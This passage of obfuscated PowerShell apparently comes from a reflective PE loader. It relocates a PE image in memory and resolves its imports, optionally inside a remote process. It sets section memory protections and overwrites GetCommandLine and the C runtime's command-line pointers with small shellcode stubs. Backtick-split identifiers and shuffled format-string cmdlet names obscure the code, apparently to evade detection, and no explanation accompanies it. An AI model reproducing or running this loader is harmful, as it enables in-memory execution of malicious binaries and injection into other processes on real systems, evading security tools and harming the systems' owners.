${b`A`SeDIFFer`ence} = &("{4}{1}{3}{0}{2}"-f'ig','Signe','ned','dIntAsUns','Sub-') (${p`eI`NFO}."eFfec`T`ivEPeH`A`Nd`lE") (${oRIgINALiM`AgE`Ba`sE})
}
[IntPtr]${BaSeRE`Lo`cp`Tr} = [IntPtr](&("{6}{0}{5}{4}{1}{2}{3}" -f 'd','AsUnsig','n','ed','t','-SignedIn','Ad') ([Int64]${pein`FO}."P`eHanD`lE") ([Int64]${PEI`N`Fo}."i`mAge_NT`_H`EAdE`Rs"."op`TiOnALH`eA`d`er"."Ba`SeRelO`cATIoN`T`Ab`Le"."Vi`Rt`U`Alad`dresS"))
while(${t`RUe})
{
${bAserElOcAtIO`NT`AB`LE} = [System.Runtime.InteropServices.Marshal]::"Pt`RtOS`T`RUcturE"(${BasE`Rel`O`cptr}, [Type]${w`iN`32tyPes}."im`A`GE_BA`Se_R`eLocatI`ON")
if (${baSerELo`cA`TI`OntAB`le}."sI`Z`Eofb`Lock" -eq 0)
{
break
}
[IntPtr]${M`eMA`DDrB`ASE} = [IntPtr](&("{2}{3}{4}{1}{0}" -f'd','gne','Add-SignedIntAs','Uns','i') ([Int64]${pe`i`NFO}."pehA`N`Dle") ([Int64]${BaS`e`Re`l`OCAtIo`NTaBLE}."virtU`ALAd`D`RE`ss"))
${nu`m`RE`lo`CaTIOns} = (${BA`SErelOc`A`TiontA`BlE}."si`Ze`OFBl`ocK" - ${i`MaG`Eb`AseR`eLOCSizE}) / 2
for(${i} = 0; ${i} -lt ${NUmrelO`cAT`iO`NS}; ${I}++)
{
${re`l`OC`A`TIONinf`opTr} = [IntPtr](&("{1}{0}{2}{4}{3}"-f'Sig','Add-','ned','signed','IntAsUn') ([IntPtr]${Basere`L`Ocp`TR}) ([Int64]${Im`AgEBA`S`e`Re`locsIze} + (2 * ${i})))
[UInt16]${reloCAt`i`On`In`Fo} = [System.Runtime.InteropServices.Marshal]::"pT`R`T`ostrucTuRe"(${ReLoC`A`TIon`In`FO`pTR}, [Type][UInt16])
[UInt16]${R`e`LocOFF`sEt} = ${RelOCATi`oni`N`FO} -band 0x0FFF
[UInt16]${R`ELOc`TypE} = ${r`ElOC`AT`IO`NINfo} -band 0xF000
for (${j} = 0; ${j} -lt 12; ${J}++)
{
${REl`O`cTY`Pe} = [Math]::"flO`Or"(${re`Lo`ctYpe} / 2)
}
if ((${rE`lOc`TY`pE} -eq ${WiN3`2cOnst`A`NtS}."Ima`ge_`RE`L_b`ASEd_highlOW") `
-or (${REL`OCTy`PE} -eq ${W`In32`co`NsTantS}."Ima`Ge_`Re`L_BaSeD_D`IR64"))
{
[IntPtr]${f`iNAL`A`DDr} = [IntPtr](&("{2}{3}{1}{4}{0}" -f 'ned','gnedIn','A','dd-Si','tAsUnsig') ([Int64]${m`EMa`DDRBase}) ([Int64]${REL`OCo`FFSet}))
[IntPtr]${c`URRaD`Dr} = [System.Runtime.InteropServices.Marshal]::"P`T`RtO`stRUCtU`RE"(${fina`LA`dDR}, [Type][IntPtr])
if (${ad`dd`ifF`ERE`Nce} -eq ${t`RUE})
{
[IntPtr]${C`U`RRA`DDR} = [IntPtr](&("{0}{5}{2}{3}{1}{4}"-f 'Add-Sign','Unsig','I','ntAs','ned','ed') ([Int64]${CURRa`d`Dr}) (${bas`Ed`ifFe`RENcE}))
}
else
{
[IntPtr]${c`URRaD`dr} = [IntPtr](&("{3}{0}{1}{2}{4}" -f'ne','dIntAs','U','Sub-Sig','nsigned') ([Int64]${curR`AD`Dr}) (${BaS`edIFfE`R`en`Ce}))
}
[System.Runtime.InteropServices.Marshal]::"str`UCtUR`ET`OptR"(${CUrrA`d`dr}, ${FI`NA`lAdDr}, ${F`A`lsE}) | &("{0}{1}{2}"-f 'Out-N','ul','l')
}
elseif (${R`ELoC`TYpe} -ne ${w`IN32C`ON`Sta`NtS}."I`Mage_r`E`L_base`d_`AbS`OLute")
{
Throw ""
}
}
${bASe`R`EL`ocpTr} = [IntPtr](&("{0}{2}{1}{3}{4}"-f 'Ad','dI','d-Signe','ntAsUns','igned') ([Int64]${baSE`Re`LoCptR}) ([Int64]${BaseR`elO`cAtI`On`TAble}."S`IZEOfB`LO`cK"))
}
}
Function I`Mpor`T-Dllimp`oR`Ts
{
Param(
[Parameter(posiTION = 0, MAnDAtORY = ${t`RUE})]
[System.Object]
${pE`i`NFo},
[Parameter(pOsITIOn = 1, mAnDatorY = ${tR`Ue})]
[System.Object]
${wIN32F`Un`CTIOnS},
[Parameter(PosiTIoN = 2, manDAtOrY = ${Tr`Ue})]
[System.Object]
${wI`N3`2types},
[Parameter(POSiTiON = 3, mandAtorY = ${tr`UE})]
[System.Object]
${WIN`32c`o`NstaNts},
[Parameter(poSITiOn = 4, MaNdAToRY = ${Fa`l`SE})]
[IntPtr]
${RE`MoTeproC`hA`NdLe}
)
${REMOTe`LOA`dI`Ng} = ${Fa`l`SE}
if (${PEiN`FO}."peH`ANdle" -ne ${p`Ei`NfO}."EF`FEC`TI`V`ePEh`AndLE")
{
${ReMOT`E`loADiNG} = ${Tr`UE}
}
if (${Pe`in`FO}."i`maGE_N`T`_HE`AdERS"."OPTIo`N`AlHE`AdER"."iMpOR`Tt`AblE"."SI`Ze" -gt 0)
{
[IntPtr]${impOrTd`esC`Ript`OR`pTR} = &("{2}{4}{0}{1}{5}{6}{3}" -f 'edIn','tAs','Add-Si','ed','gn','Uns','ign') ([Int64]${PEIN`FO}."PE`ha`NDle") ([Int64]${PEI`NFo}."iM`AGe`_n`T_hEaDe`RS"."opTiON`ALHea`dEr"."I`mpor`TTAbLe"."ViR`TuaLAd`Dr`Ess")
while (${TR`UE})
{
${IM`P`ORtD`esCr`iPTOr} = [System.Runtime.InteropServices.Marshal]::"ptr`TOS`TrUct`U`Re"(${imPo`RTDe`sCriPtoR`P`Tr}, [Type]${Wi`N32TYp`Es}."ImAg`e_ImPOr`T_De`s`cR`IpToR")
if (${i`M`pO`RtDescr`iPtoR}."c`ha`R`ACTeriSTiCs" -eq 0 `
-and ${impOrt`De`sCRI`p`ToR}."FIr`St`THUnK" -eq 0 `
-and ${imP`orTdE`Scr`iP`TOr}."fo`R`waRderCHA`in" -eq 0 `
-and ${iMPoRtD`ESC`R`ip`TOR}."NA`ME" -eq 0 `
-and ${impO`Rtd`EScR`ipT`Or}."TImeDAT`E`ST`AmP" -eq 0)
{
&("{0}{2}{3}{1}"-f 'Write','ose','-','Verb') ""
break
}
${imPO`RTD`lL`HandlE} = [IntPtr]::"Z`Ero"
${i`mpoR`Td`LLpAth`pTr} = (&("{1}{3}{2}{0}{4}" -f 'ntAsUnsign','A','SignedI','dd-','ed') ([Int64]${pEi`N`FO}."PeH`AndLE") ([Int64]${I`m`portdEs`Cr`IPT`OR}."N`Ame"))
${I`mpO`Rtd`lLP`ATH} = [System.Runtime.InteropServices.Marshal]::"pTrToSTrI`N`G`AnSI"(${iMPO`RTD`Ll`pA`T`hPtr})
if (${Re`MoteL`O`A`dinG} -eq ${Tr`Ue})
{
${ImP`Or`TdLlhANd`LE} = &("{1}{0}{4}{3}{6}{5}{7}{2}"-f 'ort-','Imp','ss','llInRemot','D','c','ePro','e') -RemoteProcHandle ${rE`M`otePROc`haNdlE} -ImportDllPathPtr ${imPor`TDl`LpaTH`pTr}
}
else
{
${I`mPortDllh`A`N`dLe} = ${W`In3`2F`UnCT`Ions}."LoA`dLiBr`Ary"."IN`VOKe"(${im`PoR`TdlLPa`TH})
}
if ((${i`m`pOrT`dLl`HaNdle} -eq ${N`ULl}) -or (${I`mportdL`l`hA`NDLE} -eq [IntPtr]::"ze`Ro"))
{
throw ""
}
[IntPtr]${tHU`NKR`EF} = &("{3}{4}{2}{0}{1}"-f'IntAsUn','signed','gned','Ad','d-Si') (${P`eI`Nfo}."PEHA`NDlE") (${IM`pOr`Tdescri`PToR}."f`irst`ThUNK")
[IntPtr]${O`RIgiN`AL`THunKRef} = &("{2}{3}{4}{1}{0}{5}" -f'si','ntAsUn','Add','-','SignedI','gned') (${p`EinFo}."pEha`Nd`le") (${iM`pORTD`ES`CriPTOR}."CHA`Rac`Te`RiS`TiCS")
[IntPtr]${oRiG`inaLthu`NKre`FvaL} = [System.Runtime.InteropServices.Marshal]::"pTR`TOSTR`UCt`URE"(${OrIg`i`NAlTH`UNkreF}, [Type][IntPtr])
while (${oRIG`inALtH`U`Nk`REfV`AL} -ne [IntPtr]::"zE`Ro")
{
${LOA`DbYord`I`NAL} = ${fA`LsE}
[IntPtr]${PR`O`C`e`DuRena`meptR} = [IntPtr]::"z`erO"
[IntPtr]${NEw`Th`U`NkReF} = [IntPtr]::"Ze`RO"
if([System.Runtime.InteropServices.Marshal]::"SI`ZEOF"([Type][IntPtr]) -eq 4 -and [Int32]${o`R`igiN`AlThUnk`RefVaL} -lt 0)
{
[IntPtr]${pRo`C`EDUreN`AME`PTr} = [IntPtr]${ORIgIN`A`LthUnKRef`V`Al} -band 0xffff
${loAdb`yO`RD`inAL} = ${T`RuE}
}
elseif([System.Runtime.InteropServices.Marshal]::"sI`zeOf"([Type][IntPtr]) -eq 8 -and [Int64]${oRi`gi`NA`LTHUNk`Re`Fv`Al} -lt 0)
{
[IntPtr]${pR`OCeDUR`ENAM`eptR} = [Int64]${or`IgIn`ALt`H`Un`KReFVAL} -band 0xffff
${LOAd`BYoR`dInal} = ${t`RuE}
}
else
{
[IntPtr]${STR`IN`gADdr} = &("{2}{5}{1}{3}{0}{4}" -f'g','AsUn','Add','si','ned','-SignedInt') (${pE`InFo}."PEhaN`dlE") (${orIgi`NAL`T`HU`N`krEFVAl})
${STrI`NGA`D`dr} = &("{6}{1}{5}{7}{2}{3}{4}{0}" -f'd','n','tAsUnsi','g','ne','e','Add-Sig','dIn') ${s`TrINg`A`ddr} ([System.Runtime.InteropServices.Marshal]::"sIZe`Of"([Type][UInt16]))
${PROC`edUrE`N`Ame} = [System.Runtime.InteropServices.Marshal]::"ptR`TOst`RI`N`GaNSi"(${str`in`G`ADdr})
${pRoCEdURE`Nam`EP`Tr} = [System.Runtime.InteropServices.Marshal]::"st`RIN`g`TO`HGLoBalA`NSI"(${prO`C`E`d`URENAmE})
}
if (${rEMOt`ElOA`D`ING} -eq ${TR`UE})
{
[IntPtr]${New`ThUnk`Ref} = &("{2}{4}{3}{0}{1}" -f 'rocAddres','s','Get-Re','P','mote') -RemoteProcHandle ${r`EmoTeP`ROcH`AnDLE} -RemoteDllHandle ${I`mPOrtD`LlhAnDLe} -FunctionNamePtr ${P`RoCeD`U`RenAmEpTr} -LoadByOrdinal ${LoA`dbY`o`R`DINAL}
}
else
{
[IntPtr]${nEw`T`HUnk`REF} = ${WI`N`32Fu`NcT`IoNs}."gEtp`RocADDrE`sSinTp`TR"."i`NvOke"(${i`M`poRTDLl`HaNd`Le}, ${pr`oC`EdUrEna`MePtR})
}
if (${nEwtHU`NK`R`eF} -eq ${n`UlL} -or ${n`ewtH`UNKRef} -eq [IntPtr]::"z`ErO")
{
if (${LO`A`DByordiN`Al})
{
Throw ""
}
else
{
Throw ""
}
}
[System.Runtime.InteropServices.Marshal]::"STr`UcTur`ET`op`Tr"(${neW`THUN`kREF}, ${ThUNk`R`Ef}, ${fA`lSe})
${tH`U`NKrEF} = &("{4}{3}{5}{2}{1}{0}{6}" -f's','dIntA','ne','dd-Si','A','g','Unsigned') ([Int64]${t`HUN`kreF}) ([System.Runtime.InteropServices.Marshal]::"S`IzeOF"([Type][IntPtr]))
[IntPtr]${O`RigIN`A`ltHuNKReF} = &("{2}{3}{4}{0}{1}"-f'signe','d','Add-Si','gnedIntAsU','n') ([Int64]${o`Ri`gIN`A`lthUnKreF}) ([System.Runtime.InteropServices.Marshal]::"s`IZeOf"([Type][IntPtr]))
[IntPtr]${or`I`g`inAlTh`U`NKreF`VaL} = [System.Runtime.InteropServices.Marshal]::"pTrt`O`StRuC`TuRE"(${oRi`GI`N`AlTHUnk`REF}, [Type][IntPtr])
if ((-not ${LoA`db`yoRdi`NaL}) -and (${PrO`CedUre`NAM`ePTr} -ne [IntPtr]::"z`ERO"))
{
[System.Runtime.InteropServices.Marshal]::"f`Ree`hgLob`Al"(${pRocEdU`ReN`Am`E`PTr})
${pRocedUrE`Nam`E`PTr} = [IntPtr]::"z`ERO"
}
}
${ImpO`RTdE`s`CRiPtoRPTR} = &("{5}{3}{4}{2}{1}{0}"-f 'AsUnsigned','Int','gned','d','-Si','Ad') (${iMPO`RtDEScRip`TorP`Tr}) ([System.Runtime.InteropServices.Marshal]::"SIZ`Eof"([Type]${wIN`32TY`pES}."IMAGE_imPOrT_d`ES`CR`IpTOR"))
}
}
}
Function Get-vIrtUa`lPROtEc`T`Va`lUE
{
Param(
[Parameter(pOSItIOn = 0, mANdAToRY = ${tR`UE})]
[UInt32]
${sE`CTi`ONC`Ha`RAct`EriStI`cS}
)
${PRoT`Ect`ion`FLaG} = 0x0
if ((${Sec`TiONc`HA`Ra`ctEristicS} -band ${WiN3`2CON`StANTs}."IMaGe_s`cn`_mEM_e`xe`CUte") -gt 0)
{
if ((${sECtI`O`NcH`Ar`A`Ct`Eri`STicS} -band ${W`iN32`C`onSTAn`TS}."IMa`gE_SCN_M`EM_re`Ad") -gt 0)
{
if ((${seCTiON`cHA`RAC`TerIS`T`iCs} -band ${W`IN3`2CoNsTanTS}."I`m`Ag`E_sCN_meM_wrITe") -gt 0)
{
${pROtE`CT`IonfL`AG} = ${w`In32C`O`N`sTanTs}."p`Ag`E_`eXEc`U`Te_r`eaDwRITe"
}
else
{
${PROT`ECT`iONF`lag} = ${wi`N32Co`NStAnTs}."pa`Ge_ExEcute`_`R`EAd"
}
}
else
{
if ((${sEC`T`iONCHARACT`er`I`stI`CS} -band ${WI`N32CO`N`STaNtS}."imAGE_sCN_MeM`_w`R`i`TE") -gt 0)
{
${ProTE`cTIo`NFL`AG} = ${Win3`2CON`St`A`NTS}."P`AG`E_ExEc`UtE_`W`RIt`ecoPY"
}
else
{
${p`R`oTec`TIoN`FlAg} = ${W`in32co`Ns`TA`NtS}."PAg`e_eXE`cu`TE"
}
}
}
else
{
if ((${se`ct`ionCH`ArAcT`Er`isTICs} -band ${W`iN32`cO`N`stanTs}."Image`_sc`N_`MEm`_ReAd") -gt 0)
{
if ((${sE`cT`IOncha`R`A`c`Teri`stIcS} -band ${wIn3`2cON`stAn`TS}."IM`A`ge_sCn_meM_`WR`i`Te") -gt 0)
{
${PROT`ec`TI`OnfLag} = ${WiN`32CO`NstAn`Ts}."P`Ag`e_r`EaDwr`ITE"
}
else
{
${PRo`Te`ctIO`NF`lag} = ${wIn32CONst`An`TS}."Pag`e_`R`EADOnLy"
}
}
else
{
if ((${s`ectIonC`hAra`ct`ER`IStics} -band ${W`in32COnStan`TS}."I`mA`ge`_SCn_`m`eM_wRite") -gt 0)
{
${pR`o`Te`ctIoNFlAg} = ${WI`N32`cOnsT`Ants}."p`AGe_W`RIte`cOpY"
}
else
{
${Pro`TecTIO`NF`LAg} = ${WiN3`2c`o`Nst`ANtS}."p`AgE_nOacC`ess"
}
}
}
if ((${SeCT`Io`NchAr`ACtErIs`T`ICS} -band ${W`in`32CONs`TA`Nts}."ImagE_`ScN_MeM_`NOT_CA`c`heD") -gt 0)
{
${PR`OTe`ctionf`lAg} = ${PR`O`TEctIon`FLaG} -bor ${wIn32C`onst`AN`Ts}."P`AgE_`NOCAc`HE"
}
return ${PROte`C`TI`OnfLaG}
}
Function U`PDAtE-`mEMORY`PrO`TECtiONflAgS
{
Param(
[Parameter(pOSITiOn = 0, MaNDatoRY = ${t`Rue})]
[System.Object]
${pe`i`NFo},
[Parameter(poSition = 1, maNDAToRY = ${T`RUE})]
[System.Object]
${WIN3`2fU`NC`TIons},
[Parameter(pOSItION = 2, ManDaTOry = ${T`RUe})]
[System.Object]
${wIn`32COnStAN`Ts},
[Parameter(pOSitIOn = 3, MANDAtorY = ${t`RuE})]
[System.Object]
${W`iN32tyP`ES}
)
for( ${i} = 0; ${i} -lt ${P`eINfo}."ImAGE_`N`T`_`heADERS"."FI`L`eHeAdER"."NU`mBE`RofsE`Cti`ONS"; ${i}++)
{
[IntPtr]${sEc`Tio`NHeaDERp`TR} = [IntPtr](&("{3}{2}{1}{0}" -f 'gned','tAsUnsi','d-SignedIn','Ad') ([Int64]${P`ei`NFO}."sectI`oN`HeaD`Er`PTr") (${i} * [System.Runtime.InteropServices.Marshal]::"S`I`zeOf"([Type]${Win32Ty`p`es}."iM`Age_SEc`TION_HeAd`er")))
${sECTIonHeA`d`eR} = [System.Runtime.InteropServices.Marshal]::"PtrT`OStR`Uc`TU`RE"(${sECTi`ON`HEADER`p`Tr}, [Type]${win32`TY`P`ES}."IMAgE_seCTIOn`_`H`eAdER")
[IntPtr]${S`ecti`ON`PtR} = &("{1}{5}{6}{0}{3}{2}{4}{7}" -f'edIn','Add-S','sUns','tA','i','i','gn','gned') (${pEI`NFO}."P`EHANdLe") (${S`ect`IoNhE`AD`ER}."viRTuAladDr`e`ss")
[UInt32]${P`R`OtEC`TflAg} = &("{3}{5}{4}{1}{2}{0}"-f 'ue','tect','Val','Get','o','-VirtualPr') ${sectiON`HEa`D`ER}."cHArAc`Te`R`isTics"
[UInt32]${Se`C`Ti`oNSize} = ${sEctION`hE`ADer}."VIRtUA`LSI`zE"
[UInt32]${OLdp`Ro`TeC`TFl`Ag} = 0
&("{0}{1}{4}{3}{2}" -f 'Test','-','moryRangeValid','e','M') -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo ${Pein`FO} -StartAddress ${se`CTion`pTR} -Size ${sEct`iO`NS`izE} | &("{1}{0}{2}" -f'ut-N','O','ull')
${SUC`C`esS} = ${WIn32`Fun`cT`iONs}."VIrtuAl`pROTe`CT"."i`NVo`kE"(${sEc`T`ionp`Tr}, ${sECt`iO`Nsi`ZE}, ${p`RoTe`CTF`Lag}, [Ref]${old`PR`Otect`F`lAG})
if (${SU`cc`eSs} -eq ${fA`lSE})
{
Throw ""
}
}
}
Function UP`dA`TE-Ex`EFun`cTioNs
{
Param(
[Parameter(POsitiON = 0, MANdaToRY = ${Tr`UE})]
[System.Object]
${Pe`iN`FO},
[Parameter(pOSITIoN = 1, manDATORY = ${tr`Ue})]
[System.Object]
${wI`N`32FuNCTIOnS},
[Parameter(POSitIOn = 2, mANDAtORY = ${tr`UE})]
[System.Object]
${w`In`32CONSTanTS},
[Parameter(PoSitIon = 3, MaNdAtOry = ${t`RuE})]
[String]
${EXE`ArgUM`E`NTs},
[Parameter(POsITIoN = 4, manDATORY = ${T`RuE})]
[IntPtr]
${EXEd`o`NebyTEPTr}
)
${r`eTuRnaR`RAy} = @()
${PTr`S`IzE} = [System.Runtime.InteropServices.Marshal]::"Siz`EoF"([Type][IntPtr])
[UInt32]${ol`dpR`oT`ECTflAG} = 0
[IntPtr]${kERn`El32`HAn`dlE} = ${W`iN3`2fUnCT`I`Ons}."ge`TmODule`hAnd`LE"."INVo`ke"("Kernel32.dll")
if (${KERnel32H`A`N`Dle} -eq [IntPtr]::"z`eRO")
{
throw ""
}
[IntPtr]${KeRn`ElBA`S`EhAndLE} = ${w`in32`FU`N`cTIoNs}."gEtM`odU`LeHAnDLe"."iN`Voke"("KernelBase.dll")
if (${kEr`NElBAs`E`HANdLe} -eq [IntPtr]::"Z`ERo")
{
throw ""
}
${CMdlIN`e`WAR`gs`p`Tr} = [System.Runtime.InteropServices.Marshal]::"S`TriNg`TO`HgLobaLU`Ni"(${e`xEAr`G`UmEn`TS})
${cM`DL`ineAA`RGSPtR} = [System.Runtime.InteropServices.Marshal]::"sTrinGtohG`L`OBAl`ANSi"(${ex`e`AR`gu`MeNTs})
[IntPtr]${g`EtcoMMAnD`LInE`AA`ddr} = ${wiN`32`FunC`TioNs}."GET`P`ROCaDDr`E`ss"."i`NVoke"(${kErN`eLB`AsEh`A`N`DlE}, "GetCommandLineA")
[IntPtr]${G`eTco`MMan`dL`inewa`D`Dr} = ${wIn3`2`Fun`cT`IOns}."GET`pROcadD`R`ess"."I`Nvo`kE"(${kERNeLB`AS`eh`AnD`Le}, "GetCommandLineW")
if (${gETCommaNdli`Ne`AaD`DR} -eq [IntPtr]::"Z`eRO" -or ${gETcOM`MAnd`Li`Ne`waDdR} -eq [IntPtr]::"z`eRO")
{
throw ""
}
[Byte[]]${s`HelLC`OD`E1} = @()
if (${pTrS`I`ze} -eq 8)
{
${SH`el`lCO`DE1} += 0x48
}
${S`hEl`l`CoDE1} += 0xb8
[Byte[]]${sH`Ellc`OD`e2} = @(0xc3)
${tOT`Als`IZE} = ${shel`lC`oDe1}."leN`G`Th" + ${PTR`sI`ze} + ${s`he`Ll`COde2}."L`e`Ngth"
${g`Et`co`MmaN`Dlin`EAo`RIgbY`T`ESPtr} = [System.Runtime.InteropServices.Marshal]::"Al`LOchG`lOB`AL"(${toT`A`LsIZe})
${GeTC`omma`NdLINEWor`i`gbY`T`e`Sp`TR} = [System.Runtime.InteropServices.Marshal]::"ALloCH`G`l`OBal"(${t`Ot`Al`SizE})
${Win3`2fU`NCT`ionS}."meMc`Py"."IN`Vo`ke"(${gEtC`O`mmaND`l`iN`E`AOriGB`ytES`pTR}, ${gE`TComm`AnDL`I`NE`Aa`DdR}, [UInt64]${TO`T`AlsIze}) | &("{2}{1}{0}"-f'l','t-Nul','Ou')
${WIn3`2FuN`CTi`onS}."MeM`Cpy"."In`VOKe"(${g`etc`o`Mmand`Linew`oriGb`YTe`S`PTr}, ${g`eT`cOmm`A`NDLInewA`d`Dr}, [UInt64]${ToTa`l`SIze}) | &("{0}{2}{1}"-f 'Out','ull','-N')
${RET`Ur`N`ARraY} += ,(${GEtCoMMA`Nd`l`inE`AAdDR}, ${GetCoMM`A`NDLI`Ne`Ao`R`IGb`YT`Esptr}, ${t`otaLs`ize})
${REtU`RN`ArrAY} += ,(${Ge`Tc`oM`M`AndlInewAdDr}, ${gEtC`OmmAn`d`lI`NEwOR`iGb`YtesPTr}, ${TO`TALsI`ze})
[UInt32]${o`L`DPrO`TECTFlaG} = 0
${Su`c`cESs} = ${wI`N32`Fu`N`cTIONs}."virT`UaLp`RoteCT"."iNVO`Ke"(${g`eTCOmMan`dLi`N`EaaD`dr}, [UInt32]${To`TA`ls`iZE}, [UInt32](${win`32cONs`TA`NtS}."page_exEcUTe`_R`eAdwri`TE"), [Ref]${OLDPrOT`ECt`F`LaG})
if (${suC`C`Ess} = ${fAl`Se})
{
throw ""
}
${gEt`c`OmManD`line`Aad`DRte`mp} = ${gETCommaND`lI`NEa`A`DDr}
&("{0}{1}{4}{2}{3}" -f 'Write-B','ytesT','Memo','ry','o') -Bytes ${she`llC`oDE1} -MemoryAddress ${GetC`o`m`m`AndLi`NeaADdrteMp}
${GEtCo`mMa`NDLI`Ne`Aa`ddrt`EmP} = &("{5}{2}{1}{4}{3}{0}" -f 'ned','Un','d-SignedIntAs','g','si','Ad') ${GET`CO`mmaNDLINE`AADdr`TEMP} (${shELL`c`od`e1}."l`EngtH")
[System.Runtime.InteropServices.Marshal]::"s`TRUc`Ture`Top`TR"(${cM`dl`in`eAArgSptR}, ${GEtcOMManDlI`N`Ea`ADd`R`Te`Mp}, ${Fa`l`Se})
${GetComMAnDL`INE`Aaddrt`e`mP} = &("{1}{3}{4}{2}{0}" -f 'AsUnsigned','Add-Si','nt','g','nedI') ${GEtcomM`A`NdlinEa`Addrte`MP} ${ptRsi`Ze}
&("{0}{2}{1}{3}{5}{4}"-f'Wr','t','ite-By','e','emory','sToM') -Bytes ${SH`e`L`lCodE2} -MemoryAddress ${GETCoMma`Ndl`InE`AaDDrt`emP}
${w`In32funCt`Io`NS}."v`IRT`U`ALProteCt"."iN`VOKe"(${gEtcOM`MaNdl`inE`AA`dDr}, [UInt32]${To`TaLS`IZe}, [UInt32]${Ol`d`proTEC`TFL`Ag}, [Ref]${o`lDPR`OTe`cTfL`AG}) | &("{1}{0}{2}" -f 'ut-Nul','O','l')
[UInt32]${Ol`DProtEc`T`FLaG} = 0
${s`UccESs} = ${win32FUNC`T`IONs}."vIR`Tu`A`lpROT`EcT"."iNV`Oke"(${Ge`T`CO`mMAnDLIn`eWA`D`dr}, [UInt32]${t`o`TalSIZe}, [UInt32](${Win32c`o`NST`A`Nts}."pA`Ge_eX`eCUt`e_r`eadWr`I`Te"), [Ref]${oLd`pROTE`cTfl`AG})
if (${s`UC`cEsS} = ${fA`L`Se})
{
throw ""
}
${g`etcoMM`ANDlIne`Wa`dDrteMP} = ${GetCOM`mA`Nd`L`iNEwAddr}
&("{0}{5}{1}{3}{6}{2}{4}" -f'W','t','oM','e-Byt','emory','ri','esT') -Bytes ${She`lLCoD`e1} -MemoryAddress ${gE`T`comManDL`InEW`AdDrTEmp}
${G`eTcoMManDli`N`E`WADdR`TemP} = &("{2}{0}{1}{4}{3}"-f 'edInt','AsU','Add-Sign','ned','nsig') ${g`ET`C`oM`MANDL`InEWAdd`Rt`EMP} (${SHELl`cOD`E1}."L`Eng`TH")
[System.Runtime.InteropServices.Marshal]::"St`R`UCTuRe`TOp`TR"(${c`m`Dli`NewargSP`Tr}, ${GetComm`AND`li`N`e`Wa`dD`RtEMp}, ${f`A`lsE})
${gEtC`OmMAN`DlInEWA`Ddrte`mP} = &("{2}{3}{1}{0}{4}"-f'Unsi','dIntAs','Add-Si','gne','gned') ${GE`T`cOMMAN`DLiNEWa`Dd`RteMp} ${p`TR`siZe}
&("{2}{0}{4}{1}{3}" -f 'To','mo','Write-Bytes','ry','Me') -Bytes ${s`hEllC`oDE2} -MemoryAddress ${GetComMa`ND`lIn`e`WADDR`TeMp}
${WiN3`2FU`N`C`TIoNs}."vIrTU`A`l`pRot`ECt"."i`NVOKe"(${geTcOmmAnDLin`e`waD`DR}, [UInt32]${T`otAL`Size}, [UInt32]${OLDPR`OTE`CtF`L`AG}, [Ref]${O`Ld`p`ROTeCTfL`Ag}) | &("{2}{0}{1}" -f 'N','ull','Out-')
${D`llli`ST} = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
foreach (${D`ll} in ${D`LlL`ISt})
{
[IntPtr]${D`LLHAn`DlE} = ${WIn32F`Un`Ctio`NS}."getMO`du`LEH`A`NdlE"."In`Voke"(${D`lL})
if (${DLLHAN`D`lE} -ne [IntPtr]::"ze`RO")
{
[IntPtr]${WCm`dlna`d`Dr} = ${win3`2Fun`cT`ions}."get`P`RocaddR`ESs"."i`NvO`kE"(${d`ll`haND`lE}, "_wcmdln")
[IntPtr]${ACM`dLnAd`Dr} = ${w`In3`2fu`NCt`ioNs}."ge`TPro`C`ADD`REss"."iN`Vo`KE"(${dLLhA`N`dlE}, "_acmdln")
if (${w`C`MdL`Naddr} -eq [IntPtr]::"z`Ero" -or ${A`cMd`LnaDDR} -eq [IntPtr]::"ZE`Ro")
{
"Error, couldn't find _wcmdln or _acmdln"
}
${NEW`Acm`D`lnPTr} = [System.Runtime.InteropServices.Marshal]::"Str`inG`T`oHg`lOBalaNSi"(${E`Xea`RGUm`ENTs})
${nEWwCM`DLnp`Tr} = [System.Runtime.InteropServices.Marshal]::"sTr`iN`gTOhgLOb`A`lUnI"(${eXeARG`UMeN`Ts})
${or`IgaCmdL`N`p`Tr} = [System.Runtime.InteropServices.Marshal]::"p`Tr`TOStRUCTUrE"(${AC`md`L`NaDDR}, [Type][IntPtr])
${OrIgwC`md`lNPtR} = [System.Runtime.InteropServices.Marshal]::"PTrTost`RUC`TurE"(${w`CmdlNa`DdR}, [Type][IntPtr])
${ori`ga`cmdLN`pTRsToR`AGE} = [System.Runtime.InteropServices.Marshal]::"A`LLoCH`GLoBAL"(${PT`R`sIze})
${OriG`wC`M`Dlnp`Trst`orAgE} = [System.Runtime.InteropServices.Marshal]::"AllO`chglo`B`AL"(${pT`R`siZE})
[System.Runtime.InteropServices.Marshal]::"STruC`TUr`Et`oP`Tr"(${O`RI`g`ACMDLNpTR}, ${o`RiGA`cmD`lNp`TR`STo`RaGE}, ${fa`lSe})
[System.Runtime.InteropServices.Marshal]::"S`TRuCtuRe`ToPtr"(${oR`IgWCmDLN`p`Tr}, ${oRIG`WCMdLnp`Tr`STOR`A`gE}, ${F`AlSE})
${R`ET`UrNa`RraY} += ,(${aCm`D`LnAdDR}, ${OriG`AcMdLNp`TRStO`R`AGE}, ${pt`RS`ize})
${retuRn`A`R`Ray} += ,(${WcmD`Lnad`dr}, ${oriGW`CmdlN`PtRST`ORagE}, ${ptRsI`ze})
${SUC`Ce`Ss} = ${WIN32fUn`c`TiONs}."v`IrTuAlPR`OTEcT"."INV`okE"(${acmDl`NAD`Dr}, [UInt32]${pt`RsI`ZE}, [UInt32](${Wi`N32c`O`NStAnts}."PAg`E_exEc`Ut`e_rEaD`wriTe"), [Ref]${o`lDpR`oTe`cTFLAG})
if (${S`UCce`sS} = ${FA`Lse})
{
throw ""
}
[System.Runtime.InteropServices.Marshal]::"struCt`Ur`eTO`p`Tr"(${nE`w`AcMDl`Np`TR}, ${ac`Md`L`NAddr}, ${f`ALsE})
${w`iN32`FUNc`TIo`NS}."v`IR`TUalpROtEct"."I`Nvoke"(${AC`m`DLnA`DdR}, [UInt32]${pt`Rsi`ZE}, [UInt32](${oLDp`RO`TE`c`TflAg}), [Ref]${O`ld`PROTecTfL`Ag}) | &("{0}{1}"-f'Out-N','ull')
